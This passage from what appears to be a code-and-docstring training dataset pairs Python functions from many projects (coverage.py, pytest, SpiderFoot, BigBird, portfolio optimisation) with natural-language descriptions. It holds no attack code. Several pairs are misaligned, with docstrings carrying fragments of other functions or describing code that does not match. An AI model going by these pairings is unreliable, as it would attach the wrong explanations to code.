other._int\n if self_key < other_key:\n if sign:\n return _One\n else:\n return _NegativeOne\n if self_key > other_key:\n if sign:\n return _NegativeOne\n else:\n return _One\n return _Zero\n\n if sign:\n if self_nan == 1:\n return _NegativeOne\n if other_nan == 1:\n return _One\n if self_nan == 2:\n return _NegativeOne\n if other_nan == 2:\n return _One\n else:\n if self_nan == 1:\n return _One\n if other_nan == 1:\n return _NegativeOne\n if self_nan == 2:\n return _One\n if other_nan == 2:\n return _NegativeOne\n\n if self < other:\n return _NegativeOne\n if self > other:\n return _One\n\n if self._exp < other._exp:\n if sign:\n return _One\n else:\n return _NegativeOne\n if self._exp > other._exp:\n if sign:\n return _NegativeOne\n else:\n return _One\n return _Zero\n\n", "nl": "Compares self to other using the abstract representations.This is not like the standard compare, which use their numericalvalue. Note that a total ordering is defined for all possible abstractrepresentations."} {"code": "def linear_eqs_portopt(A, mu, r, c, rank, Nsamples, NcompX):\n\n m_rows, n_cols = np.shape(A)\n\n tic = time.time()\n\n LS = ls_probs(m_rows, n_cols, A)\n\n toc = time.time()\n\n rt_ls_prob = toc - tic\n\n svd_C = sample_C(A, m_rows, n_cols, r, c, *LS[0:4])\n w = svd_C[0]\n sigma = svd_C[2]\n\n ul_approx = np.zeros((m_rows, rank))\n vl_approx = np.zeros((n_cols, rank))\n for l in range(rank):\n ul_approx[:, l], vl_approx[:, l] = uvl_vector(l, A, r, w, svd_C[1], sigma, LS[0], LS[3])\n\n tic = time.time()\n lambdas = sample_me_rsys(A, 0, n_cols, Nsamples, rank, r, *svd_C[0:3], LS[0], *LS[2:4])\n lambdas = mu*lambdas\n toc = time.time()\n rt_sampling_me = toc - tic\n\n tic = time.time()\n\n w_vector = np.zeros(r)\n for l in range(rank):\n w_vector[:] += (lambdas[l] / sigma[l] ** 3) * w[:, l]\n\n w_norm = la.norm(w_vector)\n\n sampled_comp = np.zeros(NcompX, dtype=np.uint32)\n n_of_rejected_samples = np.zeros(NcompX, dtype=np.uint32)\n x_tilde = np.zeros(NcompX)\n\n for t in range(NcompX):\n sampled_comp[t], n_of_rejected_samples[t] = \\\n sample_from_x(A, r, n_cols, svd_C[1], LS[0], svd_C[4], LS[3], w_vector, w_norm)\n\n toc = time.time()\n rt_sampling_sol = toc - tic\n\n for t in range(NcompX):\n x_tilde[t] = approx_solution(A, rank, r, w, svd_C[1], svd_C[2],\n LS[0], LS[3], lambdas, sampled_comp[t])\n\n RT = [rt_ls_prob, *svd_C[5:8], rt_sampling_me, rt_sampling_sol]\n\n\n FKV = [r, c, rank, sigma, ul_approx, vl_approx]\n MC = [Nsamples, lambdas]\n RS = [NcompX, sampled_comp, x_tilde]\n RT = [rt_ls_prob, *svd_C[5:8], rt_sampling_me, rt_sampling_sol]\n\n print_output(*FKV, *MC, *RS, *RT)\n\n return sampled_comp, x_tilde\n\n", "nl": "r Function to optimize the portfolio allocation vector for different assets for a givenexpected returnArgs:A (array[complex]): rectangular, in general, complex matrixmu (float): expected returnr (int): number of sampled rows from matrix Ac (int): number of sampled columns from matrix Arank (int): low-rank approximation of matrix ANsamples (int): number of stochastic samples performed to estimate :math: '\\lambda_l'NcompX (int): number of entries to be sampled from the portfolio allocation vectorReturns:tuple: Tuple containing arrays with the sampled entries and corresponding components ofthe portfolio allocation vector"} {"code": "def set_icon(self, icon):\n if icon:\n self.builder.get_object('item-icon').set_from_pixbuf(icon)\n", "nl": ":param PixBuf icon:"} {"code": "def load(self):\n concurrency = self.config.concurrency or []\n if \"multiprocessing\" in concurrency:\n if not patch_multiprocessing:\n raise ConfigError(\n \"multiprocessing is not supported on this Python\"\n )\n if self.config.config_file is None:\n raise ConfigError(\"multiprocessing requires a configuration file\")\n patch_multiprocessing(rcfile=self.config.config_file)\n\n dycon = self.config.dynamic_context\n if not dycon or dycon == \"none\":\n context_switchers = []\n elif dycon == \"test_function\":\n context_switchers = [should_start_context_test_function]\n else:\n raise ConfigError(f\"Don't understand dynamic_context setting: {dycon!r}\")\n\n context_switchers.extend(\n plugin.dynamic_context for plugin in self._plugins.context_switchers\n )\n\n should_start_context = combine_context_switchers(context_switchers)\n\n self._collector = Collector(\n should_trace=self._should_trace,\n check_include=self._check_include_omit_etc,\n should_start_context=should_start_context,\n file_mapper=self._file_mapper,\n timid=self.config.timid,\n branch=self.config.branch,\n warn=self._warn,\n concurrency=concurrency,\n )\n\n suffix = self._data_suffix_specified\n if suffix:\n if not isinstance(suffix, str):\n suffix = True\n elif self.config.parallel:\n if suffix is None:\n suffix = True\n elif not isinstance(suffix, str):\n suffix = bool(suffix)\n else:\n suffix = None\n\n self._init_data(suffix)\n\n self._collector.use_data(self._data, self.config.context)\n\n if self._plugins.file_tracers and not self._collector.supports_plugins:\n self._warn(\n \"Plugin file tracers ({}) aren't supported with {}\".format(\n \", \".join(\n plugin._coverage_plugin_name\n for plugin in self._plugins.file_tracers\n ),\n self._collector.tracer_name(),\n )\n )\n for plugin in self._plugins.file_tracers:\n plugin._coverage_enabled = False\n\n self._inorout = InOrOut(\n warn=self._warn,\n debug=(self._debug if self._debug.should('trace') else None),\n )\n self._inorout.configure(self.config)\n self._inorout.plugins = self._plugins\n self._inorout.disp_class = self._collector.file_disposition_class\n\n self._should_write_debug = True\n\n atexit.register(self._atexit)\n if self.config.sigterm:\n is_main = (threading.current_thread() == threading.main_thread())\n if is_main and not env.WINDOWS:\n self._old_sigterm = signal.signal(signal.SIGTERM, self._on_sigterm)\n", "nl": "Load previously-collected coverage data from the data file.self._init()if self._collector:self._collector.reset()should_skip = self.config.parallel and not os.path.exists(self.config.data_file)if not should_skip:self._init_data(suffix=None)self._post_init()if not should_skip:self._data.read()def _init_for_start(self):Initialization for start()"} {"code": "def get_running():\n global systray, display_mode, clipboard, exiter, ic, timer\n\n kill_server()\n\n start_server()\n\n menu = build_menu()\n if display_mode == \"c\":\n name = current_custom_profile\n else:\n mode_names = {\"m\": \"Multi Window\", \"s\": \"Single Window\", \"f\": \"Fullscreen\"}\n name = mode_names[display_mode]", "nl": "Checks whether the GWSL service is currently runningservice_name = subprocess.getoutput(f'tasklist /nh /fo csv /FI \"PID eq {server_PID}\"').split(\",\")[0]if server_PID == \"reloading\":return True#print(service_name)#proc_list = os.popen('tasklist').readlines()if \"GWSL_vcxsrv\" in service_name:return Truereturn Falsedef main():Main entry point for application"} {"code": "def _key(self, rawresult):\n bits = [rawresult.contest_slug, rawresult.candidate_slug,\n slugify(rawresult.jurisdiction)]\n\n if rawresult.district:\n bits.append(rawresult.district)\n\n try:\n bits.append(rawresult.reporting_district)\n except AttributeError:\n pass\n\n return '-'.join(bits)\n", "nl": "Returns a string that uniquely identifies a raw result from a particularsource."} {"code": "def unsupported_ops(self, module_name: str = \"\") -> typing.Counter[str]:\n if self._stats is None:\n raise RuntimeError(\n \"Analysis results should be computed \"\n \"before calling unsupported_ops()\"\n )\n module_name = self.canonical_module_name(module_name)\n return self._stats.unsupported_ops[module_name]\n", "nl": "Lists the number of operators that were encountered but unsupportedbecause no operator handle is available for them. Does not includeoperators that are explicitly ignored.Args:module_name (str) : The submodule to list unsupported ops.Defaults to the entire model.Returns:Counter(str) : The number of occurences each unsupported operator."} {"code": "def do_clear(self, arg):\n raise NotImplementedError(\"subclass of bdb must implement do_clear()\")\n", "nl": "Remove temporary breakpoint.Must implement in derived classes or get NotImplementedError."} {"code": "def patch_all() -> None:\n\n If there is any currently active test, we will\n use that to forward LiveCheck HTTP headers to the new HTTP request.\n \"\"\"", "nl": "Patch all :pypi:`aiohttp` functions to integrate with LiveCheck.patch_aiohttp_session()def patch_aiohttp_session() -> None:Patch :class:`aiohttp.ClientSession` to integrate with LiveCheck."} {"code": "def test_mixin_magic_comparisons(op, expected):\n assert printable_name(User.email) == \"email\"\n\n", "nl": "==, !=, <, >, <=, >= create condition objects with the corresponding operationcondition = op(c, 3)assert condition.operation == expectedassert condition.column is cassert condition.values == [3]def test_mixin_begins_with():condition = c.begins_with(3)assert condition.operation == \"begins_with\"assert condition.column is cassert condition.values == [3]def test_mixin_between():condition = c.between(3, 4)assert condition.operation == \"between\"assert condition.column is cassert condition.values == [3, 4]def test_mixin_contains():condition = c.contains(3)assert condition.operation == \"contains\"assert condition.column is cassert condition.values == [3]def test_mixin_in_():condition = c.in_(3, 4)assert condition.operation == \"in\"assert condition.column is cassert condition.values == [3, 4]def test_mixin_is_():condition = c.is_(3)assert condition.operation == \"==\"assert condition.column is cassert condition.values == [3]condition = c.is_not(3)assert condition.operation == \"!=\"assert condition.column is cassert condition.values == [3]@pytest.mark.parametrize(\"op, typedefs, args\", [(\"begins_with\",[Integer(), List(String), Map(s=String), Boolean(),Set(Integer), Set(Binary), Set(String)],(\"one-arg\",)),(\"contains\",[Integer(), Boolean(), Map(s=String)],(\"one-arg\",)),(\"between\",[Set(String), Set(Binary), Set(String),List(String), Map(s=String), Boolean()],(\"first-arg\", \"second-arg\"))])def test_unsupported_mixin_function_conditions(op, typedefs, args):class Model(BaseModel):id = Column(Integer, hash_key=True)for typedef in typedefs:column = Column(typedef, dynamo_name=\"d\")column.model = Modelcolumn._name = \"c\"with pytest.raises(InvalidCondition):getattr(column, op)(*args)column.begins_with(object())@pytest.mark.parametrize(\"typedef\", [Set(Integer), Set(Binary), Set(String),List(String), Map(s=String), Boolean()])@pytest.mark.parametrize(\"op\", [operator.lt,operator.gt,operator.le,operator.ge])def test_unsupported_mixin_comparison_conditions(op, typedef):class Model(BaseModel):id = Column(Integer, hash_key=True)column = Column(typedef, dynamo_name=\"d\")column.model = Modelcolumn._name = \"c\"with pytest.raises(InvalidCondition):op(column, \"value\")def test_printable_column_no_path():Model.column"} {"code": "def cython_classname(self, t, cycyt=None):\n tkey = t = self.canon(t)\n while tkey not in self.cython_c2py_conv and not isinstance(tkey, basestring):\n tkey = tkey[1] if (0 < len(tkey) and self.isrefinement(tkey[1])) else \\\n tkey[0]\n if tkey not in self.cython_c2py_conv:\n tkey = t\n while tkey not in self.cython_c2py_conv and \\\n not isinstance(tkey, basestring):\n tkey = tkey[0]\n c2pyt = self.cython_c2py_conv[tkey]\n if callable(c2pyt):\n self.cython_c2py_conv[t] = c2pyt(t, self)\n c2pyt = self.cython_c2py_conv[t]\n return c2pyt\n\n @memoize_method", "nl": "Computes classnames for cython types.if cycyt is None:t = self.canon(t)if isinstance(t, basestring):return t, self.cython_classnames[t]elif t[0] in self.base_types:return t, self.cython_classnames[t[0]]return self.cython_classname(t, self.cython_classnames[t[0]])d = {}for key, x in zip(self.template_types[t[0]], t[1:-1]):if isinstance(x, basestring):val = self.cython_classnames[x] if x in self.cython_classnames else xelif isinstance(x, Number):val = str(x).replace('-', 'Neg').replace('+', 'Pos')\\.replace('.', 'point')elif x[0] in self.base_types:val = self.cython_classnames[x[0]]else:_, val = self.cython_classname(x, self.cython_classnames[x[0]])d[key] = valreturn t, cycyt.format(**d)@memoize_methoddef cython_c2py_getitem(self, t):Helps find the approriate c2py value for a given concrete type key."} {"code": "def __init__(self, cfg, in_channels, num_anchors=1):\n super(RPNHead, self).__init__()\n self.conv = nn.Conv2d(\n in_channels, in_channels, kernel_size=3, stride=1, padding=1\n )\n\n self.cls_logits = nn.Conv2d(in_channels, 1 * num_anchors, kernel_size=1, stride=1)\n\n self.bbox_pred = nn.Conv2d(\n in_channels, 4 * num_anchors, kernel_size=1, stride=1\n )\n\n self.angle_pred = nn.Conv2d(in_channels, 1 * num_anchors, kernel_size=1, stride=1)\n\n for l in [self.conv, self.cls_logits, self.bbox_pred, self.angle_pred]:\n torch.nn.init.normal_(l.weight, std=0.01)\n torch.nn.init.constant_(l.bias, 0)\n\n self.activation = Mish() if cfg.MODEL.ARPN.USE_MISH else nn.ReLU()\n", "nl": "Arguments:cfg : configin_channels (int): number of channels of the input featurenum_anchors (int): number of anchors to be predicted# We consider the condition in east"} {"code": "def p_declaration_list(self, p):\n p[0] = p[1] if len(p) == 2 else p[1] + p[2]\n", "nl": " declaration_list : declaration| declaration_list declaration"} {"code": "def createParser(self):\n ExpatBuilder.install(self, parser)\n if self._options.namespace_declarations:\n parser.StartNamespaceDeclHandler = (\n self.start_namespace_decl_handler)\n", "nl": "Create a new namespace-handling parser.parser = expat.ParserCreate(namespace_separator=\" \")parser.namespace_prefixes = Truereturn parserdef install(self, parser):Insert the namespace-handlers onto the parser."} {"code": "def test_bigbird(self):\n rng, inputs, shared_args = test_utils.get_small_model_test_inputs()\n model = bigbird.BigBirdEncoder(**shared_args, num_layers=1, block_size=2)\n params = model.init(rng, inputs)\n y = jax.jit(model.apply)(params, inputs)\n self.assertEqual(y.shape, inputs.shape + (shared_args[\"emb_dim\"],))\n\n\nif __name__ == \"__main__\":\n absltest.main()", "nl": "Tests Big Bird model.rng, inputs, shared_args = test_utils.get_common_model_test_inputs()model = bigbird.BigBirdEncoder(**shared_args, block_size=2)params = model.init(rng, inputs)y = model.apply(params, inputs)self.assertEqual(y.shape, inputs.shape + (shared_args[\"emb_dim\"],))def test_jit_bigbird(self):Tests Big Bird model."} {"code": "def test_with_tab_char_set(self):\n paragraph = self._load_from_xml(xml)\n self.assertEqual(paragraph.get_text(tab_char=' '), 'a b')\n\n\nclass GetNumberOfInitialTabsTestCase(ParagraphTestBase):", "nl": "xml =

ab

"} {"code": "def test_show(self):\n api = self.api\n ret = api.tweet.add(\"\n \"will be delete later %d\" % randint(0, 100),\n clientip='127.0.0.1',\n jing=123.422889,\n wei=41.76627\n )\n assert type(ret) == models.RetId\n assert hasattr(ret, 'id')\n assert hasattr(ret, 'timestamp')\n test_ids.append(ret.id)\n\n t = ret.as_tweet()\n assert t.id == ret.id\n assert 'pyqqweibo' in t.origtext\n assert t.type == 1\n assert not bool(t.geo)\n", "nl": "api.tweet.showapi = self.apiid = api.timeline.homeids(reqnum=1)[0].idret = api.tweet.show(id)assert type(ret) == models.Tweetassert ret.id == iddef test_add(self):api.tweet.add"} {"code": "def vectorCell(self, row, col):\n\n return self.chunk[row]\n", "nl": "Returns a cell of a 1D-array view.VLArrays, for instance, always are read with this method. If nopseudo atoms are used then a list of arrays is returned. If vlstringis used then a list of raw bytes is returned. If vlunicode is usedthen a list of unicode strings is returned. If object is used then alist of Python objects is returned.The indices values are not checked (and could not be in thebuffer) so they should be checked by the caller methods.:Parameters:- `row`: the row to which the cell belongs.- `col`: the column to wich the cell belongs:Returns: the cell at position `(row, col)` of the document"} {"code": "def init_config(options):\n gconf = GlobalConfig()\n gconf.load(options.config)\n", "nl": "Create a new :GlobalConfig from command-line options."} {"code": "def __getitem__(self, index):\n coco = self.coco\n img_id = self.ids[index]\n ann_ids = coco.getAnnIds(imgIds=img_id)\n anns = coco.loadAnns(ann_ids)\n target = [ann['caption'] for ann in anns]\n\n path = coco.loadImgs(img_id)[0]['file_name']\n\n img = Image.open(os.path.join(self.root, path)).convert('RGB')\n\n if self.transforms is not None:\n img, target = self.transforms(img, target)\n\n return img, target\n", "nl": "Args:index (int): IndexReturns:tuple: Tuple (image, target). target is a list of captions for the image."} {"code": "def getnode(self, config, arg):\n session = Session(config)\n assert \"::\" not in str(arg)\n p = py.path.local(arg)\n config.hook.pytest_sessionstart(session=session)\n res = session.perform_collect([str(p)], genitems=False)[0]\n config.hook.pytest_sessionfinish(session=session, exitstatus=ExitCode.OK)\n return res\n", "nl": "Return the collection node of a file.:param config: :py:class:`_pytest.config.Config` instance, see:py:meth:`parseconfig` and :py:meth:`parseconfigure` to create theconfiguration:param arg: a :py:class:`py.path.local` instance of the file"} {"code": "def set_mpmd_preamble(self, preamble_lines):\n self.mpmd_preamble_lines = preamble_lines\n", "nl": "Set preamble used in ERF file. Typical lines include`oversubscribe-cpu : allow` or `overlapping-rs : allow`.Can be used to set `launch_distribution`. If it is not present,it will be inferred from the settings, or set to `packed` bydefault.:param preamble_lines: lines to put at the beginning of the ERFfile.:type preamble_lines: list[str]"} {"code": "def get_dtype_and_ctype(type_obj: Any) -> Tuple[np.dtype, Any]:\n Returns the module and the object name (original name with module part removed).\"\"\"", "nl": "Given a type name string (or an object having a __name__ attribute), return matching Numpy and ctypes types that have the same size in bytes.type_str = Noneif isinstance(type_obj, str):type_str = type_objelif hasattr(type_obj, \"__name__\"):type_str = type_obj.__name__elif hasattr(type_obj, \"name\"):type_str = type_obj.nameelse:raise RuntimeError(\"Cannot infer type name from input\")assert type_str in _str_to_ctype.keys()my_dtype = np.dtype(type_str)my_ctype = _str_to_ctype[type_str]assert my_dtype.itemsize == ctypes.sizeof(my_ctype)return my_dtype, my_ctypedef is_pickleable(obj: Any) -> bool:try:with io.BytesIO() as stream:pickle.dump(obj, stream)return Trueexcept:return False# Functionality to import modules/objects by name, and call functions by name# ------------------------------------------------------------------------------------------def get_module_from_obj_name(obj_name: str) -> Tuple[types.ModuleType, str]:Searches for the underlying module behind the name to some python object."} {"code": "def input_fn_builder(input_file, seq_length, is_training, drop_remainder):\n example = tf.parse_single_example(record, name_to_features)\n\n for name in list(example.keys()):\n t = example[name]\n if t.dtype == tf.int64:\n t = tf.to_int32(t)\n example[name] = t\n\n return example\n", "nl": "Creates an `input_fn` closure to be passed to TPUEstimator.name_to_features = {\"unique_ids\": tf.FixedLenFeature([], tf.int64),\"input_ids\": tf.FixedLenFeature([seq_length], tf.int64),\"input_mask\": tf.FixedLenFeature([seq_length], tf.int64),\"segment_ids\": tf.FixedLenFeature([seq_length], tf.int64),}if is_training:name_to_features[\"start_positions\"] = tf.FixedLenFeature([], tf.int64)name_to_features[\"end_positions\"] = tf.FixedLenFeature([], tf.int64)name_to_features[\"question_type\"] = tf.FixedLenFeature([], tf.int64)name_to_features[\"supporting_labels\"] = tf.FixedLenFeature([seq_length], tf.int64)name_to_features[\"supporting_mask\"] = tf.FixedLenFeature([seq_length], tf.int64)def _decode_record(record, name_to_features):Decodes a record to a TensorFlow example."} {"code": "def __init__(self, air, bldg, zone, antiShuffle = 0, minLaff = 0):\n DistributedBossElevatorAI.DistributedBossElevatorAI.__init__(self, air, bldg, zone, antiShuffle = antiShuffle, minLaff = 0)\n self.type = ELEVATOR_CJ\n self.countdownTime = ElevatorData[self.type]['countdown']\n", "nl": "__init__(air)"} {"code": "def do_query(self, line):\n c = self.myparseline(line)\n if len(c[0]) < 1:\n self.edprint(\"Invalid syntax.\")\n return\n query = ' '.join(c[0])\n d = self.request(self.ownopts['cli.server_baseurl'] + \"/query\",\n post={\"query\": query})\n if not d:\n return\n j = json.loads(d)\n if j[0] == \"ERROR\":\n self.edprint(f\"Error running your query: {j[1]}\")\n return\n self.send_output(d, line)\n", "nl": "query Run an against the database."} {"code": "def test_tooclose_error():\n\n with pytest.raises(qcelemental.ValidationError) as e:\n qcelemental.molparse.from_string(subject)\n\n assert \"Mixing Cartesian and Zmat\" in str(e.value)\n\n", "nl": "subject = 2 -1 -1 -1\\n2 -1 -1 -1.05with pytest.raises(qcelemental.ValidationError) as e:qcelemental.molparse.from_string(subject)assert \"too close\" in str(e.value)def test_cartbeforezmat_error():subject = He 0 0 0\\nHe 1 2"} {"code": "def test_structured_object_item_setting(self, dt, pat, count, singleton):\n zero = 0\n one = 1\n\n arr = np.zeros(shape, dt)\n\n gc.collect()\n before_zero = sys.getrefcount(zero)\n before_one = sys.getrefcount(one)\n part = arr[index]\n after_zero = sys.getrefcount(zero)\n assert after_zero - before_zero == count * items_changed\n del part\n arr[index] = one\n gc.collect()\n after_zero = sys.getrefcount(zero)\n after_one = sys.getrefcount(one)\n assert before_zero - after_zero == count * items_changed\n assert after_one - before_one == count * items_changed\n\n @pytest.mark.parametrize(['dt', 'pat', 'count', 'singleton'],\n iter_struct_object_dtypes())", "nl": "Structured object reference counting for simple item settingone = 1gc.collect()before = sys.getrefcount(singleton)arr = np.array([pat] * 3, dt)assert sys.getrefcount(singleton) - before == count * 3# Fill with `1` and check that it was replaced correctly:before2 = sys.getrefcount(one)arr[...] = oneafter2 = sys.getrefcount(one)assert after2 - before2 == count * 3del arrgc.collect()assert sys.getrefcount(one) == before2assert sys.getrefcount(singleton) == before@pytest.mark.parametrize(['dt', 'pat', 'count', 'singleton'],iter_struct_object_dtypes())@pytest.mark.parametrize(['shape', 'index', 'items_changed'],[((3,), ([0, 2],), 2),((3, 2), ([0, 2], slice(None)), 4),((3, 2), ([0, 2], [1]), 2),((3,), ([True, False, True]), 2)])def test_structured_object_indexing(self, shape, index, items_changed,dt, pat, count, singleton):Structured object reference counting for advanced indexing."} {"code": "def unbind_class(self, className, sequence):\n self.tk.call('bind', className , sequence, '')", "nl": "Unbind for all widgets with bindtag CLASSNAME for event SEQUENCEall functions."} {"code": "def rawUnicode(s):\n return s.encode('latin1') if isinstance(s,unicode) else s\n", "nl": "converts first 256 unicodes 1-1return s.decode('latin1') if not isinstance(s,unicode) else sdef rawBytes(s):converts first 256 unicodes 1-1"} {"code": "def get_formset_child(self, request, obj=None, **kwargs):", "nl": "Return the formset child that the parent inline can use to represent us.:rtype: PolymorphicFormSetChild"} {"code": "def get_openapi_endpoint_body(endpoint):\n params = inspect.getfullargspec(endpoint.function)\n responses = {\n f\"{endpoint.response_code}\": {\n \"$ref\": \"\n },\n \"500\": {\n \"$ref\": \"\n }\n }\n if endpoint.has_token:\n responses[\"401\"] = {\n \"$ref\": \"\n }\n if \"return\" in params.annotations:\n responses[f\"{endpoint.response_code}\"][\"content\"] = {\n \"application/json\": {\n \"schema\": {\n \"type\": symmetric.helpers.type_to_string(\n params.annotations[\"return\"])\n }\n }\n }\n return responses\n\n", "nl": "Assembles the JSON schema for the endpoint body.params = inspect.getfullargspec(endpoint.function)schema = {}if params.args:parameters_amount = len(params.args)defaults_amount = 0 if not params.defaults else len(params.defaults)no_defaults = parameters_amount - defaults_amountfor ii in range(no_defaults):if params.args[ii] not in params.annotations:var_label = \"oneOf\"var_type = symmetric.openapi.constants.ANY_TYPEelse:var_label = \"type\"var_type = symmetric.helpers.type_to_string(params.annotations[params.args[ii]])schema[params.args[ii]] = {var_label: var_type}for jj in range(defaults_amount):if params.args[no_defaults + jj] not in params.annotations:var_label = \"oneOf\"var_type = symmetric.openapi.constants.ANY_TYPEelse:var_label = \"type\"var_type = symmetric.helpers.type_to_string(params.annotations[params.args[no_defaults + jj]])schema[params.args[no_defaults + jj]] = {var_label: var_type,\"default\": params.defaults[jj]}return {\"type\": \"object\",\"properties\": schema,\"additionalProperties\": params.varkw is not None}def get_openapi_endpoint_responses(endpoint):Gets the OpenAPI Schema error codes for the endpoint."} {"code": "def main():\n print(\"Generating research notes...\")\n if os.path.exists(fname):\n os.remove(fname)\n append_rst('================================================\\n')\n append_rst('Comparison of Information Aggregation Techniques\\n')\n append_rst('================================================\\n\\n')\n append_rst('.. contents::\\n\\n')\n\n append_rst(open('res_core_data_HEADER.rst', 'r').read())\n append_rst(res_core_data_mthd1.get_method())\n append_rst(res_core_data_mthd2.get_method())\n\n append_rst('Results\\n')\n append_rst('=====================================\\n')\n for dat in data_files:\n append_rst('\\nData File : ' + dat + '\\n---------------------------------------\\n\\n')\n res_core_data_mthd1.get_results(fname, dat)\n res_core_data_mthd2.get_results(fname, dat)\n\n\n append_rst(open('res_core_data_FOOTER.rst', 'r').read())\n print(\"Done!\")\n", "nl": "This generates the research document based on the results ofthe various programs and includes RST imports for introductionand summary"} {"code": "def p_cste(self, p):\n value = p[1]\n p[0] = lambda: int(value)\n", "nl": "cste : INT"} {"code": "def system_add_column_family(self, cf_def):", "nl": "adds a column family. returns the new schema id.Parameters:- cf_def"} {"code": "def RunLinkWithOptionalMapFile(command, env=None, map_file=None):\n tmp_map_path = None\n if map_file and map_file.endswith('.gz'):\n tmp_map_path = map_file + '.tmp'\n command.append('-Wl,-Map,' + tmp_map_path)\n elif map_file:\n command.append('-Wl,-Map,' + map_file)\n\n result = subprocess.call(command, env=env)\n\n if tmp_map_path and result == 0:\n threading.Thread(\n target=lambda: _GzipThenDelete(tmp_map_path, map_file)).start()\n elif tmp_map_path and os.path.exists(tmp_map_path):\n os.unlink(tmp_map_path)\n\n return result\n\n", "nl": "Runs the given command, adding in -Wl,-Map when |map_file| is given.Also takes care of gzipping when |map_file| ends with .gz.Args:command: List of arguments comprising the command.env: Environment variables.map_file: Path to output map_file.Returns:The exit code of running |command|."} {"code": "def report0(name, value):\n report(name, value if _rank == 0 else [])\n return value\n\n\nclass Collector:\n r\"\"\"Collects the scalars broadcasted by `report()` and `report0()` and", "nl": "rBroadcasts the given set of scalars by the first process (`rank = 0`),but ignores any scalars provided by the other processes.See `report()` for further details."} {"code": "def logout(self):\n\n If *path_segment* is already absolute, returns it unchanged.\n If *path_segment* is relative, then qualifies it with either", "nl": "Forgets the current session token, and cookies.self.token = _NoAuthenticationTokenself.http._cookies = {}return selfdef _abspath(self, path_segment,owner=None, app=None, sharing=None):Qualifies *path_segment* into an absolute path for a URL."} {"code": "def get_action_train_test(lines_raw, subjects_info):\n all_infos = []\n test_split = False\n test_samples = {}\n train_samples = {}\n for line in lines_raw[1:]:\n if line.startswith(\"Test\"):\n test_split = True\n continue\n subject, action_name, action_seq_idx = line.split(\" \")[0].split(\"/\")\n action_idx = line.split(\" \")[1].strip()\n frame_nb = int(subjects_info[subject][(action_name, action_seq_idx)])\n for frame_idx in range(frame_nb):\n sample_info = (subject, action_name, action_seq_idx, frame_idx)\n if test_split:\n test_samples[sample_info] = action_idx\n else:\n train_samples[sample_info] = action_idx\n all_infos.append(sample_info)\n test_nb = len(np.unique(list((sub, act_n, act_seq) for (sub, act_n, act_seq, _) in test_samples), axis=0))\n assert test_nb == 575, \"Should get 575 test samples, got {}\".format(test_nb)\n train_nb = len(\n np.unique(list((sub, act_n, act_seq) for (sub, act_n, act_seq, _) in train_samples), axis=0)\n )\n assert train_nb == 600 or train_nb == 599, \"Should get 599 train samples, got {}\".format(train_nb)\n assert len(test_samples) + len(train_samples) == len(all_infos)\n return train_samples, test_samples, all_infos\n\n", "nl": "Returns dicts of samples where key issubject: name of subjectaction_name: action classaction_seq_idx: idx of action instanceframe_idxand value is the idx of the action class"} {"code": "def RemoveFile(self):\n if os.path.exists(self.file):\n os.remove(self.file)\n", "nl": "Removes the user config file from disk if it exists."} {"code": "def is_running(self):\n return self.state in [self.STATE_IDLE, self.STATE_ACTIVE,\n self.STATE_SLEEPING]\n\n @property", "nl": "Returns a bool determining if the process is in a running state ornot:rtype: bool"} {"code": "def state_dict() -> Dict[str, Any]:\n try:", "nl": "This function constructs a base state dictionary with website wide state.Pages sending states extend this state dictionary."} {"code": "def search(self):\n for filter_type in filters:\n if filter_type == 'or' or filter_type == 'and':\n conditions = []\n for field in filters[filter_type]:\n if self.is_field_allowed(field):\n conditions.append(self.create_query(self.parse_field(field, filters[filter_type][field])))\n if filter_type == 'or':\n self.model_query = self.model_query.filter(or_(*conditions))\n elif filter_type == 'and':\n self.model_query = self.model_query.filter(and_(*conditions))\n else:\n if self.is_field_allowed(filter_type):\n conditions = self.create_query(self.parse_field(filter_type, filters[filter_type]))\n self.model_query = self.model_query.filter(conditions)\n return self.model_query\n", "nl": " This is the most important method try:filters = json.loads(self.query)except ValueError:return Falseresult = self.model_queryif 'filter'in filters.keys():result = self.parse_filter(filters['filter'])if 'sort'in filters.keys():result = result.order_by(*self.sort(filters['sort']))return resultdef parse_filter(self, filters): This method process the filters "} {"code": "def test_lowpass_zphsh_vs_pitsa(self):\n filename = os.path.join(self.path, 'rjob_20051006.gz')\n with gzip.open(filename) as f:\n data = np.loadtxt(f)\n samp_rate = 200.0\n freq = 5\n corners = 2\n datcorr = lowpass(data, freq, df=samp_rate, corners=corners,\n zerophase=True)\n filename = os.path.join(self.path, 'rjob_20051006_lowpassZPHSH.gz')\n with gzip.open(filename) as f:\n data_pitsa = np.loadtxt(f)\n rms = np.sqrt(np.sum((datcorr[:-200] - data_pitsa[:-200]) ** 2) /\n np.sum(data_pitsa[:-200] ** 2))\n self.assertEqual(rms < 1.0e-05, True)\n", "nl": "Test Butterworth zero-phase lowpass filter against Butterworthzero-phase lowpass filter of PITSA. Note that the corners value istwice the value of the filter sections in PITSA. The rms of thedifference between ObsPy and PITSA tends to get bigger with higherorder filtering.Note: The Zero-Phase filters deviate from PITSA's zero-phase filtersat the end of the trace! The rms for the test is calculated omittingthe last 200 samples, as this part of the trace is assumed togenerally be of low interest/importance."} {"code": "def get_labels(self):\n examples = []\n for (i, line) in enumerate(lines):\n if i == 0:\n continue\n guid = \"%s-%s\" % (set_type, line[0])\n text_a = line[1]\n text_b = line[2]\n label = line[-1]\n examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label))\n return examples\n\n\nclass WnliProcessor(DataProcessor):\n \"\"\"Processor for the WNLI data set (GLUE version).\"\"\"", "nl": "See base class.return [\"entailment\", \"not_entailment\"]def _create_examples(self, lines, set_type):Creates examples for the training and dev sets."} {"code": "def prepare_csv_for_utf8(fileobj):\n fileobj.write('\\xef\\xbb\\xbf')\n\n\nclass GetMoreView(ListView):\n \"\"\"A base view for feeding data to 'get more...' type of links\n", "nl": "Prepend a byte order mark (BOM) to a file.When Excel opens a CSV file, it assumes the encoding is ASCII. The BOMdirects it to decode the file with utf-8."} {"code": "def get_alias_edge(self, src, dst):\n G = self.G\n p = self.p\n q = self.q\n\n unnormalized_probs = []\n for dst_nbr in sorted(G.neighbors(dst)):\n if dst_nbr == src:\n unnormalized_probs.append(G[dst][dst_nbr]['weight']/p)\n elif G.has_edge(dst_nbr, src):\n unnormalized_probs.append(G[dst][dst_nbr]['weight'])\n else:\n unnormalized_probs.append(G[dst][dst_nbr]['weight']/q)\n norm_const = sum(unnormalized_probs)\n normalized_probs = [float(u_prob)/norm_const for u_prob in unnormalized_probs]\n\n return alias_setup(normalized_probs)\n", "nl": "Get the alias edge setup lists for a given edge."} {"code": "def store_results(self, results, 